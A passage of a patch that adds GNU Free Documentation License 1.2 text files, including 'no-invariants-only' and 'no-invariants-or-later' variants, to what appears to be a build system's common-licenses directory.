+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-no-invariants-only b/meta/files/common-licenses/GFDL-1.2-no-invariants-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-no-invariants-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
